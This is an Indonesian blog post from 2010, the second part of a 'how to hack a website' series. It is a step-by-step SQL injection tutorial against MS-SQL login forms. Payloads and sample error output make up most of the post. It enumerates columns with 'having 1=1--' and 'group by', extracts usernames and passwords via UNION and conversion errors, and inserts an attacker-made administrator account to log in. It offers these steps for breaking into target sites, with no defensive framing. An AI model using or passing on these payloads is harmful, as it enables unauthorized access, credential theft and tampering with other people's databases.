Pages

Selasa, 05 Oktober 2010

cara hack website part 2

::PREFACE::.
============
Kalau di Vol.1 dah dibahas teknik UPDATE di MS-SQL maka disini gw
jelasin cara INSERT dan UNION......rada ngejelimet neh.....makanya
kalau
baca artikel ini harus ada aer putih hyuehueh.... N disini gw juga
akan
kasih kilas balik sedikit untuk yang baru nyoba2 :) n penjelasan
yang
lebih detail

.::BODY::.
============

Sebelumnya tolong apabila browser kalian pada pake IE setting dulu
browsernya agar bisa melihat errornya. Setting di Tools-Internet
option-Advanced tab-Show friendly HTTP error messages. itu musti
dilakukan, kalau
tidak kalian tidak bisa lihat error messages yg keluar nanti.
OK, masih inget kan cara cari targetnya? kalau lupa lihat lagi
artikel
Vol.1 :)

Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di
input boxnya :

www.target.com/ login.asp >> contoh target
www.target.com/ login.asp? err=Invalid_ password >> persan error yang
dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln
engganya tuh
situs kita ketikan ' having 1=1-- di input box atau URL error tadi ,
contoh : www.target.com/ login.asp? err=' having 1=1-- then,....

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserID' is invalid in the select list because it is
not
contained in an
aggregate function and there is no GROUP BY clause

itu error messagesnya, kini kita group field UserID dari table
Users,
stringnya : ' group by UserID --
then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.ClientName' is invalid in the select list
because it is not contained in either an aggregate function or the
GROUP BY clause.

muncul lagi error seperti itu....lalu lagi kita Group. Kini
stringnya
adalah ' group by
field1,field2 --
contoh : ' group by UserID,ClientName --
then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserName' is invalid in the select list because it is
not
contained in

either an aggregate function or the GROUP BY clause.
trus group by lagi, hal ini kita lakukan (proses looping) sampai
semua
field kita

ketahui..... .makanya harus sabar, kalau engga ga bakal tembus :)
apabila sudah lama melakukan looping dan akhirnya ketika group
terakhir
kita lakukan dan tidak keluar error messagesnya maka error yang
terakhir adalah field yg terakhir.... .field table itu bisa panjang
sekali,
tergantung admin yang masangnya jadi susah kalau maen teabk2an
ajah....contoh field yang pernah gw temuin : ' group by
UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email
,
OperatingSystem, PrefferredGraphi cFormat
-- >> ada 9 field!!! jangan males dalam proses Looping :P

setelah dapet semua field, kini yang kita lakukan adalah mencari
siapa
aja user yang ada dalam table Users dan kolom UserName...
caranya? kita pake Union apa itu UNION??? union adalah perintah SQL
dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen
gunain
Union ini kita harus tahu ada berapa field dalam table tadi

sintaksnya gini :
select field1, field2, … field_n
from tables
UNION
select field1, field2, … field_n
from tables;

nah biasanya dalam SQL QUERY di input box username itu mereka bikin
query select * from

Users where UserName =='"+login+" ' and Password='"+ pass"'"; nah
kalau
begitu kita masukin syntax sql union untuk melihat username : '
union
select min(UserName) ,1,1,1 from Users where username > 'a'--
jadi hasilnya : select * from Users where UserName ==' union select
min(UserName) ,1,1,1 from Users where username > 'a'--and
Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error
messages lagi
yang akan menampilkan sebuah username lebih dari huruf a ,contoh:

Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Agile' to a column of
data
type int. /

tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake
string union tadi nanti akan muncul username2 lain....lalu bagaimana
dengan
passwordnya? ??
ok union beraksi kembali : ' union select min
(UserName),1, 1,1,1,1,1, 1,1
from Users where username > 'Agile'--
lalu akan muncul error yang memberitahukan passwordnya, contoh :

Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Surfer' to a column of
data
type int. /

kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya
Surfer...hehehe

selamat yah!
btw, kita juga ingin dong bisa INSERT databasenya. ....
caranya : karena ktia sudah tahu field2nya maka stringnya jadi : '
insert into table values
(field1,field2, ....,field_ n)--
misalkan ada field sebagai berikut :
'Users.UserID'
'Users. Username'
'Users.Password'
'Users.FName'
'Users.LName'
'Users.EmailAddress '
'Users.Administrato r'
itu berarti ada 7 field! Ok kita masukan menurut string tadi : '
insert
into Users values

(0,'lucifer' ,'lucifer' ,'lu','cid' ,'a@a.com',1)-- >> artinya kita
masukan id kita dalam

urutan 0, lalu username 'lucifer', password 'lucifer' Fname
(frontName)
itu 'lu',
Lname(LastName) sebagai 'cid', dan EmailAddress 'a@a.com'......
coba kita login dengan user buatan kita tadi....BINGO! selamat anda
berhasil menjebol

database situs target.....



by zinkser

0 komentar:

Posting Komentar